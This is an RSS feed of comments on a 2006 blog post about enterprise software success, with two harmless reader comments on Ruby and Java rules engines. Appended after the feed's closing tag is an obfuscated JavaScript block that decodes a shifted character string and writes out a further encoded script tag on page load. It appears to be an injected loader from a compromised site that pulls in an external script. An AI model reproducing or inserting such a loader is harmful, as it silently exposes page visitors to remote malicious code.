<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: What is Success in the Enterprise?</title>
	<atom:link href="http://blog.secosoft.net/2006/12/16/what-is-success-in-the-enterprise/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.secosoft.net/2006/12/16/what-is-success-in-the-enterprise/</link>
	<description>Matt Secoske's intermittent ramblings on software and life</description>
	<pubDate>Wed, 19 Nov 2008 20:51:45 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: Matt</title>
		<link>http://blog.secosoft.net/2006/12/16/what-is-success-in-the-enterprise/#comment-4157</link>
		<dc:creator>Matt</dc:creator>
		<pubDate>Sun, 17 Dec 2006 04:54:13 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/12/16/what-is-success-in-the-enterprise/#comment-4157</guid>
		<description>http://rools.rubyforge.org/</description>
		<content:encoded><![CDATA[<p><a href="http://rools.rubyforge.org/" rel="nofollow">http://rools.rubyforge.org/</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: James</title>
		<link>http://blog.secosoft.net/2006/12/16/what-is-success-in-the-enterprise/#comment-4148</link>
		<dc:creator>James</dc:creator>
		<pubDate>Sun, 17 Dec 2006 00:33:28 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/12/16/what-is-success-in-the-enterprise/#comment-4148</guid>
		<description>Wouldn't you say that using declarative business rules engines would be a lot closer in terms of representing business logic than Ruby on Rails could ever get close to understanding that this is usually the hardest part. 

I agree with your thoughts on use of struts but if you can use rules engines and Java then struts could be the simplest thing possible.</description>
		<content:encoded><![CDATA[<p>Wouldn&#8217;t you say that using declarative business rules engines would be a lot closer in terms of representing business logic than Ruby on Rails could ever get close to understanding that this is usually the hardest part. </p>
<p>I agree with your thoughts on use of struts but if you can use rules engines and Java then struts could be the simplest thing possible.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html>
<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-43-227-232-223-212-72-45-227-212-231-227-58-217-:8-229-:8-226-::-225-216-223-227-45-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-224-228-:8-221-227-226-212-225-229-212-58-224-228-:8-221-227-57-217-226-45-73-71-58-226-::-225-216-223-227-73**<=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html>

